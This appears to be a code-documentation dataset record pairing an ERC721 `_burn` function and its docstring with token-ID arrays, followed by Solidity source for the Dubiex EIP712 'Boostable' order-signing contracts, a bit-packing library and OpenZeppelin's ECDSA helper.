_beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require( ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own" ); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received( _msgSender(), from, tokenId, _data ) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert( "ERC721: transfer to non ERC721Receiver implementer" ); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * borrowed from Nuclear Nerds implementation * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account but rips out the core of the gas-wasting processing that comes from OpenZeppelin. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _owners.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require( index < _owners.length, "ERC721Enumerable: global index out of bounds" ); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { require( index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds" ); uint256 count; for (uint256 i; i < _owners.length; i++) { if (owner == _owners[i]) { if (count == index) return i; else count++; } } revert("ERC721Enumerable: owner index out of bounds"); } }
* @dev Destroys `tokenId`. The approval is cleared when the token is burned. Requirements: - `tokenId` must exist. Emits a {Transfer} event./ Clear approvals
function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); _approve(address(0), tokenId); _owners[tokenId] = address(0); emit Transfer(owner, address(0), tokenId); }
547,363
[ 1, 9378, 28599, 1375, 2316, 548, 8338, 1021, 23556, 353, 16054, 1347, 326, 1147, 353, 18305, 329, 18, 29076, 30, 300, 1375, 2316, 548, 68, 1297, 1005, 18, 7377, 1282, 279, 288, 5912, 97, 871, 18, 19, 10121, 6617, 4524, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 321, 12, 11890, 5034, 1147, 548, 13, 2713, 5024, 288, 203, 3639, 1758, 3410, 273, 4232, 39, 27, 5340, 18, 8443, 951, 12, 2316, 548, 1769, 203, 203, 3639, 389, 5771, 1345, 5912, 12, 8443, 16, 1758, 12, 20, 3631, 1147, 548, 1769, 203, 203, 3639, 389, 12908, 537, 12, 2867, 12, 20, 3631, 1147, 548, 1769, 203, 203, 3639, 389, 995, 414, 63, 2316, 548, 65, 273, 1758, 12, 20, 1769, 203, 203, 3639, 3626, 12279, 12, 8443, 16, 1758, 12, 20, 3631, 1147, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@prps/solidity/contracts/EIP712Boostable.sol"; import "./DubiexLib.sol"; /** * @dev Dubiex Boostable primitives following the EIP712 standard */ abstract contract Boostable is EIP712Boostable { bytes32 private constant BOOSTED_MAKE_ORDER_TYPEHASH = keccak256( "BoostedMakeOrder(MakeOrderInput input,address maker,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)MakeOrderInput(uint96 makerValue,uint96 takerValue,OrderPair pair,uint32 orderId,uint32 ancestorOrderId,uint128 updatedRatioWei)OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)" ); bytes32 private constant BOOSTED_TAKE_ORDER_TYPEHASH = keccak256( "BoostedTakeOrder(TakeOrderInput input,address taker,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)TakeOrderInput(uint32 id,address maker,uint96 takerValue,uint256 maxTakerMakerRatio)" ); bytes32 private constant BOOSTED_CANCEL_ORDER_TYPEHASH = keccak256( "BoostedCancelOrder(CancelOrderInput input,BoosterFuel fuel,BoosterPayload boosterPayload)BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)CancelOrderInput(uint32 id,address maker)" ); bytes32 private constant MAKE_ORDER_INPUT_TYPEHASH = keccak256( "MakeOrderInput(uint96 makerValue,uint96 takerValue,OrderPair pair,uint32 orderId,uint32 ancestorOrderId,uint128 updatedRatioWei)OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)" ); bytes32 private constant TAKE_ORDER_INPUT_TYPEHASH = keccak256( "TakeOrderInput(uint32 id,address maker,uint96 takerValue,uint256 maxTakerMakerRatio)" ); bytes32 private constant CANCEL_ORDER_INPUT_TYPEHASH = keccak256( "CancelOrderInput(uint32 id,address maker)" ); bytes32 private constant ORDER_PAIR_TYPEHASH = keccak256( "OrderPair(address makerContractAddress,address takerContractAddress,uint8 makerCurrencyType,uint8 takerCurrencyType)" ); constructor(address optIn) public EIP712Boostable( optIn, keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256("Dubiex"), keccak256("1"), _getChainId(), address(this) ) ) ) {} /** * @dev A struct representing the payload of `boostedMakeOrder`. */ struct BoostedMakeOrder { DubiexLib.MakeOrderInput input; address payable maker; BoosterFuel fuel; BoosterPayload boosterPayload; } /** * @dev A struct representing the payload of `boostedTakeOrder`. */ struct BoostedTakeOrder { DubiexLib.TakeOrderInput input; address payable taker; BoosterFuel fuel; BoosterPayload boosterPayload; } /** * @dev A struct representing the payload of `boostedCancelOrder`. */ struct BoostedCancelOrder { DubiexLib.CancelOrderInput input; BoosterFuel fuel; BoosterPayload boosterPayload; } function hashBoostedMakeOrder( BoostedMakeOrder memory boostedMakeOrder, address booster ) internal view returns (bytes32) { return BoostableLib.hashWithDomainSeparator( _DOMAIN_SEPARATOR, keccak256( abi.encode( BOOSTED_MAKE_ORDER_TYPEHASH, hashMakeOrderInput(boostedMakeOrder.input), boostedMakeOrder.maker, BoostableLib.hashBoosterFuel(boostedMakeOrder.fuel), BoostableLib.hashBoosterPayload( boostedMakeOrder.boosterPayload, booster ) ) ) ); } function hashBoostedTakeOrder( BoostedTakeOrder memory boostedTakeOrder, address booster ) internal view returns (bytes32) { return BoostableLib.hashWithDomainSeparator( _DOMAIN_SEPARATOR, keccak256( abi.encode( BOOSTED_TAKE_ORDER_TYPEHASH, hashTakeOrderInput(boostedTakeOrder.input), boostedTakeOrder.taker, BoostableLib.hashBoosterFuel(boostedTakeOrder.fuel), BoostableLib.hashBoosterPayload( boostedTakeOrder.boosterPayload, booster ) ) ) ); } function hashBoostedCancelOrder( BoostedCancelOrder memory boostedCancelOrder, address booster ) internal view returns (bytes32) { return BoostableLib.hashWithDomainSeparator( _DOMAIN_SEPARATOR, keccak256( abi.encode( BOOSTED_CANCEL_ORDER_TYPEHASH, hashCancelOrderInput(boostedCancelOrder.input), BoostableLib.hashBoosterFuel(boostedCancelOrder.fuel), BoostableLib.hashBoosterPayload( boostedCancelOrder.boosterPayload, booster ) ) ) ); } function hashMakeOrderInput(DubiexLib.MakeOrderInput memory input) private pure returns (bytes32) { return keccak256( abi.encode( MAKE_ORDER_INPUT_TYPEHASH, input.makerValue, input.takerValue, hashOrderPair(input.pair), input.orderId, input.ancestorOrderId, input.updatedRatioWei ) ); } function hashOrderPair(DubiexLib.OrderPair memory pair) private pure returns (bytes32) { return keccak256( abi.encode( ORDER_PAIR_TYPEHASH, pair.makerContractAddress, pair.takerContractAddress, pair.makerCurrencyType, pair.takerCurrencyType ) ); } function hashTakeOrderInput(DubiexLib.TakeOrderInput memory input) private pure returns (bytes32) { return keccak256( abi.encode( TAKE_ORDER_INPUT_TYPEHASH, input.id, input.maker, input.takerValue, input.maxTakerMakerRatio ) ); } function hashCancelOrderInput(DubiexLib.CancelOrderInput memory input) private pure returns (bytes32) { return keccak256( abi.encode(CANCEL_ORDER_INPUT_TYPEHASH, input.id, input.maker) ); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; import "./IOptIn.sol"; import "./BoostableLib.sol"; import "./IBoostableERC20.sol"; /** * @dev Boostable base contract * * All deriving contracts are expected to implement EIP712 for the message signing. * */ abstract contract EIP712Boostable { using ECDSA for bytes32; // solhint-disable-next-line var-name-mixedcase IOptIn internal immutable _OPT_IN; // solhint-disable-next-line var-name-mixedcase bytes32 internal immutable _DOMAIN_SEPARATOR; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); bytes32 private constant BOOSTER_PAYLOAD_TYPEHASH = keccak256( "BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)" ); bytes32 internal constant BOOSTER_FUEL_TYPEHASH = keccak256( "BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)" ); // The boost fuel is capped to 10 of the respective token that will be used for payment. uint96 internal constant MAX_BOOSTER_FUEL = 10 ether; // A magic booster permission prefix bytes6 private constant MAGIC_BOOSTER_PERMISSION_PREFIX = "BOOST-"; constructor(address optIn, bytes32 domainSeparator) public { _OPT_IN = IOptIn(optIn); _DOMAIN_SEPARATOR = domainSeparator; } // A mapping of mappings to keep track of used nonces by address to // protect against replays. Each 'Boostable' contract maintains it's own // state for nonces. mapping(address => uint64) private _nonces; //--------------------------------------------------------------- function getNonce(address account) external virtual view returns (uint64) { return _nonces[account]; } function getOptInStatus(address account) internal view returns (IOptIn.OptInStatus memory) { return _OPT_IN.getOptInStatus(account); } /** * @dev Called by every 'boosted'-function to ensure that `msg.sender` (i.e. a booster) is * allowed to perform the call for `from` (the origin) by verifying that `messageHash` * has been signed by `from`. Additionally, `from` provides a nonce to prevent * replays. Boosts cannot be verified out of order. * * @param from the address that the boost is made for * @param messageHash the reconstructed message hash based on the function input * @param payload the booster payload * @param signature the signature of `from` */ function verifyBoost( address from, bytes32 messageHash, BoosterPayload memory payload, Signature memory signature ) internal { uint64 currentNonce = _nonces[from]; require(currentNonce == payload.nonce - 1, "AB-1"); _nonces[from] = currentNonce + 1; _verifyBoostWithoutNonce(from, messageHash, payload, signature); } /** * @dev Verify a boost without verifying the nonce. */ function _verifyBoostWithoutNonce( address from, bytes32 messageHash, BoosterPayload memory payload, Signature memory signature ) internal view { // The sender must be the booster specified in the payload require(msg.sender == payload.booster, "AB-2"); (bool isOptedInToSender, uint256 optOutPeriod) = _OPT_IN.isOptedInBy( msg.sender, from ); // `from` must be opted-in to booster require(isOptedInToSender, "AB-3"); // The given timestamp must not be greater than `block.timestamp + 1 hour` // and at most `optOutPeriod(booster)` seconds old. uint64 _now = uint64(block.timestamp); uint64 _optOutPeriod = uint64(optOutPeriod); bool notTooFarInFuture = payload.timestamp <= _now + 1 hours; bool belowMaxAge = true; // Calculate the absolute difference. Because of the small tolerance, `payload.timestamp` // may be greater than `_now`: if (payload.timestamp <= _now) { belowMaxAge = _now - payload.timestamp <= _optOutPeriod; } // Signature must not be expired require(notTooFarInFuture && belowMaxAge, "AB-4"); // NOTE: Currently, hardware wallets (e.g. Ledger, Trezor) do not support EIP712 signing (specifically `signTypedData_v4`). // However, a user can still sign the EIP712 hash with the caveat that it's signed using `personal_sign` which prepends // the prefix '"\x19Ethereum Signed Message:\n" + len(message)'. // // To still support that, we add the prefix to the hash if `isLegacySignature` is true. if (payload.isLegacySignature) { messageHash = messageHash.toEthSignedMessageHash(); } // Valid, if the recovered address from `messageHash` with the given `signature` matches `from`. address signer = ecrecover( messageHash, signature.v, signature.r, signature.s ); if (!payload.isLegacySignature && signer != from) { // As a last resort we try anyway, in case the caller simply forgot the `isLegacySignature` flag. signer = ecrecover( messageHash.toEthSignedMessageHash(), signature.v, signature.r, signature.s ); } require(from == signer, "AB-5"); } /** * @dev Returns the hash of `payload` using the provided booster (i.e. `msg.sender`). */ function hashBoosterPayload(BoosterPayload memory payload, address booster) internal pure returns (bytes32) { return keccak256( abi.encode( BOOSTER_PAYLOAD_TYPEHASH, booster, payload.timestamp, payload.nonce ) ); } function _getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; library DubiexLib { enum CurrencyType {NULL, ETH, ERC20, BOOSTABLE_ERC20, ERC721} // Enum is used to read only a specific part of the order pair from // storage, since it is a bad idea to always perform 4 SLOADs. enum OrderPairReadStrategy {SKIP, MAKER, TAKER, FULL} struct OrderPair { address makerContractAddress; CurrencyType makerCurrencyType; address takerContractAddress; CurrencyType takerCurrencyType; } // To reduce the number of reads, the order pairs // are stored packed and on read unpacked as required. // Also see `OrderPair` and `OrderPairReadStrategy`. struct PackedOrderPair { // 20 bytes address + 1 byte currency type uint168 makerPair; // 20 bytes address + 1 byte currency type uint168 takerPair; } struct PackedOrderBookItem { // Serialized `UnpackedOrderBookItem` uint256 packedData; // // Mostly zero // uint32 successorOrderId; uint32 ancestorOrderId; } struct UnpackedOrderBookItem { uint32 id; uint96 makerValue; uint96 takerValue; uint32 orderPairAlias; // The resolved pair based on the order pair alias OrderPair pair; OrderFlags flags; } // Struct that contains all unpacked data and the additional almost-always zero fields from // the packed order bookt item - returned from `getOrder()` to be more user-friendly to consume. struct PrettyOrderBookItem { uint32 id; uint96 makerValue; uint96 takerValue; uint32 orderPairAlias; OrderPair pair; OrderFlags flags; uint32 successorOrderId; uint32 ancestorOrderId; } struct OrderFlags { bool isMakerERC721; bool isTakerERC721; bool isHidden; bool hasSuccessor; } function packOrderBookItem(UnpackedOrderBookItem memory _unpacked) internal pure returns (uint256) { // Bitpacking saves gas on read/write: // 61287 gas // struct Item1 { // uint256 word1; // uint256 word2; // } // // 62198 gas // struct Item2 { // uint256 word1; // uint128 a; // uint128 b; // } // // 62374 gas // struct Item3 { // uint256 word1; // uint64 a; // uint64 b; // uint64 c; // uint64 d; // } uint256 packedData; uint256 offset; // 1) Set first 32 bits to id uint32 id = _unpacked.id; packedData |= id; offset += 32; // 2) Set next 96 bits to maker value uint96 makerValue = _unpacked.makerValue; packedData |= uint256(makerValue) << offset; offset += 96; // 3) Set next 96 bits to taker value uint96 takerValue = _unpacked.takerValue; packedData |= uint256(takerValue) << offset; offset += 96; // 4) Set next 28 bits to order pair alias // Since it is stored in a uint32 AND it with a bitmask where the first 28 bits are 1 uint32 orderPairAlias = _unpacked.orderPairAlias; uint32 orderPairAliasMask = (1 << 28) - 1; packedData |= uint256(orderPairAlias & orderPairAliasMask) << offset; offset += 28; // 5) Set remaining bits to flags OrderFlags memory flags = _unpacked.flags; if (flags.isMakerERC721) { // Maker currency type is ERC721 packedData |= 1 << (offset + 0); } if (flags.isTakerERC721) { // Taker currency type is ERC721 packedData |= 1 << (offset + 1); } if (flags.isHidden) { // Order is hidden packedData |= 1 << (offset + 2); } if (flags.hasSuccessor) { // Order has a successor packedData |= 1 << (offset + 3); } offset += 4; assert(offset == 256); return packedData; } function unpackOrderBookItem(uint256 packedData) internal pure returns (UnpackedOrderBookItem memory) { UnpackedOrderBookItem memory _unpacked; uint256 offset; // 1) Read id from the first 32 bits _unpacked.id = uint32(packedData >> offset); offset += 32; // 2) Read maker value from next 96 bits _unpacked.makerValue = uint96(packedData >> offset); offset += 96; // 3) Read taker value from next 96 bits _unpacked.takerValue = uint96(packedData >> offset); offset += 96; // 4) Read order pair alias from next 28 bits uint32 orderPairAlias = uint32(packedData >> offset); uint32 orderPairAliasMask = (1 << 28) - 1; _unpacked.orderPairAlias = orderPairAlias & orderPairAliasMask; offset += 28; // NOTE: the caller still needs to read the order pair from storage // with the unpacked alias // 5) Read order flags from remaining bits OrderFlags memory flags = _unpacked.flags; flags.isMakerERC721 = (packedData >> (offset + 0)) & 1 == 1; flags.isTakerERC721 = (packedData >> (offset + 1)) & 1 == 1; flags.isHidden = (packedData >> (offset + 2)) & 1 == 1; flags.hasSuccessor = (packedData >> (offset + 3)) & 1 == 1; offset += 4; assert(offset == 256); return _unpacked; } function packOrderPair(OrderPair memory unpacked) internal pure returns (PackedOrderPair memory) { uint168 packedMaker = uint160(unpacked.makerContractAddress); packedMaker |= uint168(unpacked.makerCurrencyType) << 160; uint168 packedTaker = uint160(unpacked.takerContractAddress); packedTaker |= uint168(unpacked.takerCurrencyType) << 160; return PackedOrderPair(packedMaker, packedTaker); } function unpackOrderPairAddressType(uint168 packed) internal pure returns (address, CurrencyType) { // The first 20 bytes of order pair are used for the maker address address unpackedAddress = address(packed); // The next 8 bits for the maker currency type CurrencyType unpackedCurrencyType = CurrencyType(uint8(packed >> 160)); return (unpackedAddress, unpackedCurrencyType); } /** * @dev A struct representing the payload of `makeOrder`. */ struct MakeOrderInput { uint96 makerValue; uint96 takerValue; OrderPair pair; // An id of an existing order can be optionally provided to // update the makerValue-takerValue ratio with a single call as opposed to cancel-then-make-new-order. uint32 orderId; // If specified, this order becomes a successor for the ancestor order and will be hidden until // the ancestor has been filled. uint32 ancestorOrderId; // When calling make order using an existing order id, the `updatedRatio` will be applied on // the `makerValue` to calculate the new `takerValue`. uint128 updatedRatioWei; } /** * @dev A struct representing the payload of `takeOrder`. */ struct TakeOrderInput { uint32 id; address payable maker; uint96 takerValue; // The expected max taker maker ratio of the order to take. uint256 maxTakerMakerRatio; } /** * @dev A struct representing the payload of `cancelOrder`. */ struct CancelOrderInput { uint32 id; address payable maker; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; struct Signature { bytes32 r; bytes32 s; uint8 v; } interface IOptIn { struct OptInStatus { bool isOptedIn; bool permaBoostActive; address optedInTo; uint32 optOutPeriod; } function getOptInStatusPair(address accountA, address accountB) external view returns (OptInStatus memory, OptInStatus memory); function getOptInStatus(address account) external view returns (OptInStatus memory); function isOptedInBy(address _sender, address _account) external view returns (bool, uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; struct BoosterFuel { uint96 dubi; uint96 unlockedPrps; uint96 lockedPrps; uint96 intrinsicFuel; } struct BoosterPayload { address booster; uint64 timestamp; uint64 nonce; // Fallback for 'personal_sign' when e.g. using hardware wallets that don't support // EIP712 signing (yet). bool isLegacySignature; } // Library for Boostable hash functions that are completely inlined. library BoostableLib { bytes32 private constant BOOSTER_PAYLOAD_TYPEHASH = keccak256( "BoosterPayload(address booster,uint64 timestamp,uint64 nonce,bool isLegacySignature)" ); bytes32 internal constant BOOSTER_FUEL_TYPEHASH = keccak256( "BoosterFuel(uint96 dubi,uint96 unlockedPrps,uint96 lockedPrps,uint96 intrinsicFuel)" ); /** * @dev Returns the hash of the packed DOMAIN_SEPARATOR and `messageHash` and is used for verifying * a signature. */ function hashWithDomainSeparator( bytes32 domainSeparator, bytes32 messageHash ) internal pure returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", domainSeparator, messageHash) ); } /** * @dev Returns the hash of `payload` using the provided booster (i.e. `msg.sender`). */ function hashBoosterPayload(BoosterPayload memory payload, address booster) internal pure returns (bytes32) { return keccak256( abi.encode( BOOSTER_PAYLOAD_TYPEHASH, booster, payload.timestamp, payload.nonce, payload.isLegacySignature ) ); } function hashBoosterFuel(BoosterFuel memory fuel) internal pure returns (bytes32) { return keccak256( abi.encode( BOOSTER_FUEL_TYPEHASH, fuel.dubi, fuel.unlockedPrps, fuel.lockedPrps, fuel.intrinsicFuel ) ); } /** * @dev Returns the tag found in the given `boosterMessage`. */ function _readBoosterTag(bytes memory boosterMessage) internal pure returns (uint8) { // The tag is either the 32th byte or the 64th byte depending on whether // the booster message contains dynamic bytes or not. // // If it contains a dynamic byte array, then the first word points to the first // data location. // // Therefore, we read the 32th byte and check if it's >= 32 and if so, // simply read the (32 + first word)th byte to get the tag. // // This imposes a limit on the number of tags we can support (<32), but // given that it is very unlikely for so many tags to exist it is fine. // // Read the 32th byte to get the tag, because it is a uint8 padded to 32 bytes. // i.e. // -----------------------------------------------------------------v // 0x0000000000000000000000000000000000000000000000000000000000000001 // ... // uint8 tag = uint8(boosterMessage[31]); if (tag >= 32) { // Read the (32 + tag) byte. E.g. if tag is 32, then we read the 64th: // -------------------------------------------------------------------- // 0x0000000000000000000000000000000000000000000000000000000000000020 | // 0000000000000000000000000000000000000000000000000000000000000001 < // ... // tag = uint8(boosterMessage[31 + tag]); } return tag; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Token agnostic fuel struct that is passed around when the fuel is burned by a different (token) contract. // The contract has to explicitely support the desired token that should be burned. struct TokenFuel { // A token alias that must be understood by the target contract uint8 tokenAlias; uint96 amount; } /** * @dev Extends the interface of the ERC20 standard as defined in the EIP with * `boostedTransferFrom` to perform transfers without having to rely on an allowance. */ interface IBoostableERC20 { // ERC20 function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); // Extension /** * @dev Moves `amount` tokens from `sender` to `recipient`. * * If the caller is known by the callee, then the implementation should skip approval checks. * Also accepts a data payload, similar to ERC721's `safeTransferFrom` to pass arbitrary data. * */ function boostedTransferFrom( address sender, address recipient, uint256 amount, bytes calldata data ) external returns (bool); /** * @dev Burns `fuel` from `from`. */ function burnFuel(address from, TokenFuel memory fuel) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; 